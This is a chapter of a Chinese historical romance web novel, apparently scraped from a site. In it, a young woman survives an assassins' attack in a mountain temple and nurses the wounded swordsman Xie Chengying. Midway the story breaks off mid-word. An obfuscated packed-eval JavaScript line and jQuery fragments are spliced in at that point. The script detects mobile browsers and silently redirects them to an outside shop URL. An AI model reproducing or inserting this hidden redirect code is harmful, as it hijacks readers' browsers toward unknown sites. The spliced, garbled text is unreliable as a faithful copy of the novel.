“晚了!”
谢呈瑛盯着蒙面人讥笑,转头吩咐道:“邢舟,速带萧郎君离开。”
“是。”邢舟迅速背起萧琏冲出门外,蒙面人自然不肯放过,上前阻拦时却被谢呈瑛长剑缠住,迫得几人不得不回头去挡。
听到门外马匹嘶鸣,领头的人怒极,厉喝一声:“追!绝不能留活口。”
两个蒙面人破门去追,庙里只剩领头的人,缠斗十几个回合,领头的也受了伤。
谢呈瑛有些体力不支,趁着一个空档,领头人长剑直刺,稳稳洞穿了他的肩胛。
他撑剑半跪在地上,朝着对神像大喊:“还不快来帮忙!”
……
芸薇简直要吐血,暗道这人心真坏,死前非得连累她一块儿么。
可她还不算糊涂,要知道这些家伙凶狠无比,多半是死士,万一他要是死了,这些杀手肯定也不会放过她。
“还装死,再不帮忙你也休想活着离开!”
她赶紧在腰间摸索,可全身都翻遍了,也没找到自己惯用的挟弹。
左右都是死,她横下心站起来,四处扫了眼,举起旁边的刀就冲领头人砍过去。
没有预期中的勇猛,对方抬脚踢过来,只觉手臂一痛,中刀已飞出一丈远。
芸薇后退几步瘫软在地,领头人提剑逼近,她面色惨白、紧闭双眼,抖着唇哀嚎:“都赖你,这下真要死啦!”
然而预想中的疼痛并没有带来,只听头顶一声闷哼,有温热的液体滴在她脸上。
不对劲,她半眯着眼看去,那人的剑横在领头人脖颈间,他抽回剑,领头人捂着喉咙,痛苦地倒在地上。
血腥气直冲鼻腔,她张了张嘴却发不出声音。
眼见他挣扎两下咽了气,谢呈瑛肩头垮下来,身形晃了晃,两眼一闭直直倒了下去。
芸薇愣了半天才缓过神,捂着嘴压下喉间的翻涌。
不管还有没有危险,她现在必须立即离开这里。
奈何腿肚子打颤,似乎还扭到了脚,她使不上劲儿。咬牙匍匐着爬过去,拿起来剑鞘当拐杖,才勉强支撑住自己。
一瘸一拐走到门口,大黄狗突然不知从哪儿窜出来,对着她摇晃着尾巴。
这家伙危险时刻弃自己逃命,真叫人伤心。
“去去,走开!”
芸薇倚靠在门上,拿剑鞘撵它,大黄狗识趣地朝后退缩,她才杵着慢慢往外走。
走了两步觉得不对劲,回头一看,大黄狗居然围在青衣人身边,温热的舌头舔舐着他的脸。
似乎是感觉到不适,谢呈瑛难耐地挤出一声呻吟,眼皮动了动却没能睁开。
“救……”
她可不想惹麻烦。
大黄狗察觉出主人不高兴,不情不愿地跟在她身后,芸薇深深叹了口气,莫不是上辈子欠了他的!
她终究还是折了回去,蹲下身探了探他的鼻息。
气息有些微弱,这么多伤口只怕失血过多撑不了多久。
她咧着嘴,奋力拖着谢呈瑛挪到火堆旁,扯下一旁黑衣人的袍子,撕成碎布条裹住伤口。
饶是已经小心翼翼地样子,谢呈瑛还是痛得拧紧眉头,闷哼几声彻底昏死过去。
好不容易给他包扎好,她想起腰间的水袋,解下来喝了些,然后凑到他嘴边强行喂了几口。
一番折腾给她累的不行,她靠坐在门口一边喘气一边擦汗,看着依旧昏昏沉沉的谢呈瑛犯了难。
这山里偏僻,附近没有人户,自己带着他根本也走不了,留他在这里,多半是活不成了。
“喂,刚才你救了我一次,是因为我帮了你,虽然没帮上,但我却是因你们才深陷这场祸事。”
她想了想,继续说道:“我脚伤到了走不快,且先照顾你一会儿,等下万一有人来找我,只要你能挺住,我会带你去医治,权当看在你同伴让我避雨、还给我分食的份上。”
说着她招呼大黄狗,在它耳边嘀咕了几句,肥肥撒腿就跑。
天慢慢黑了,山里夜风凉得刺骨,她把能烧的都扔到火堆里,火光映着谢呈瑛的脸通红,芸薇找了块稍干净的布蘸了水覆在他额上。
正盘算着什么时候能有人过来,就听见外面有动静,隐约夹杂着呼喊声。
她立刻警惕起来,摸过掉在一旁的短刀握在手里,屏住呼吸听着动静,直到听见熟悉的声音,才松了口气,扶着墙慢慢站起来,挪到门外大喊:“杏雨,秦大哥,我在这儿!”
秦翀带着杏雨找了过来,看着浑身血污的芸薇,杏雨吓得一下子扑过来抓住她的手:“娘子你受伤啦?”
芸薇摇头说没有。
杏雨非要仔细验过,确认她身上没伤口,才松了口气,红着眼眶哽咽道:“我见肥肥独自回来,外头下着雨,怕你出事,这才叫了秦大哥一起来寻你,都怪我,今日该和你一起来祭拜主君。”
芸薇握着她的手安抚道:“你伤寒未好,我怎能带你出来,今日的事乃意外,我命大,一点事儿没有。”
秦翀看着满地的尸体直皱眉,瞧见火堆旁昏死的谢呈瑛,眼中晦暗不明。
芸薇立即将避雨遇袭的事简单说了一遍。
秦翀心里并不愿意招惹麻烦,俯身查看他了的伤势,顺带查看了那些尸体。
“都是训练有素的高手,且身上并无信物,对方下了死手,想来这人身份有些来头。”
劝诫的话他没有说出口,指着领头的蒙面人道:“这人颈后刺了个很奇怪的印记,咱们还是尽快离开。”
芸薇摇头,抬眼看了看那人:“方才他救我,我答应了要带他回去治伤。”
她讪笑一下,有些不好意思:“只是……要辛苦秦大哥了。”
秦翀不再说话,蹲下身将谢呈瑛背起来。
杏雨作势俯下身,芸薇忙一把拉起她:“你若背着我只怕咱们都回不去了。”
她拿过剑鞘杵着,嬉皮笑脸地说:“我用这个就成,真要撑不住,再劳你再扶着我。”
黑夜雨路难行,走了一两个时辰才回到住处。
芸薇家住萍水镇的一处巷子里,与秦家仅一墙之隔。
秦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17685673|207793||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
翀主动将谢呈瑛安置在自家院子里,连夜请了附近的郎中过来给两人看伤。
把了脉,检查过伤口,重新上药包扎好,郎中捻着胡须说:“他失血过多,幸而没伤到要害,老夫先开一剂药,烧退了,熬过这两日就没什么大碍。”
开好药方,杏雨领着郎中去给芸薇看伤,脚踝红了一块,老郎中施了几针下去痛意消了大半。
芸薇累的不行,叮嘱杏雨早些休息便倒头呼呼大睡。
这一觉睡到大中午才醒,杏雨端来熬好的肉糜粥,一碗下肚,她舒服得眉头大展,杏雨不准她乱动,索性又接着躺下。
傍晚,谢呈瑛缓缓睁开了眼,他觉着渴,试着动了动手,牵扯到肩胛的伤口,痛得他瞬间绷紧了脊背。
守在外间的秦翀听见动静,端了碗药进来,谢呈瑛掀着眼皮看他。
秦翀并不管他,将药搁在床头:“郎中开的药。”
他扯动嘴角,哑着嗓子道:“多谢。”
秦翀没接话,转身就出了屋。
深夜,谢呈瑛是被饿醒的,窗外投进来斑驳的月光,隐约可见屋里中简陋,他闭上眼睛回想那场刺杀,心头万绪,也不知萧琏怎么样了。
不知想到什么,嘴角牵出一丝讥笑,憋了口气朝着窗外喊:“有吃的么?”
“没有!”
这叫什么事儿……
熬到天亮,谢呈瑛感觉身体恢复了些,只是腹中空空,依旧提不起什么力气。
秦翀送了药进来,房门敞着,大黄狗肥肥从外面冲进来,使劲儿在他床边嗅着。
他正疑惑,就听到院外有人喊。
秦翀大步走出去,他竖着耳朵听,是位女郎的声音。
没一会儿,秦翀拎着食盒进来,神色有些不自然,照样搁置在床头便出去了。
香味瞬间唤醒他胃里的灼热,他强撑着挪动身子,却痛得他龇牙咧嘴。
隔壁院里,芸薇的脚好得很快,正躺在秋千架上看书,忽见肥肥一脸餍足地回来了,乖巧的趴在一旁。
芸薇无奈地叹口气,从厨房又端了一碗去了秦家。
床边的碗干净得锃亮。
谢呈瑛静静躺在床上,面色发白,衾被盖着的胸口几乎看不到起伏。
她有些心虚,试探地询问:“那个…还活着么?”
“多谢费心,还活着!”
还有力气说话,她放心了,放下碗准备往回走。
什么叫虎落平阳被犬欺,他总算是体会到了。
“劳驾,饿了两日,实没有力气……”
心软是病!
一碗喂下,又要一碗。
两碗下肚,感觉好多了,他这才打量起眼前人。
小女郎今日穿着杏色细绢长裙,一身浅青罗绮交领短襦,头上两个小圆髻,尾发垂落肩头。
眉目清浅尚带几分嗔恼,脸上还有未退的稚气,谢呈瑛心中一动,脑子里浮现一张模糊的面容,却想不起来是谁。
他晃了晃神,把思绪收回来,双眸微微一沉:“你是昨日那个邋遢小郎君?”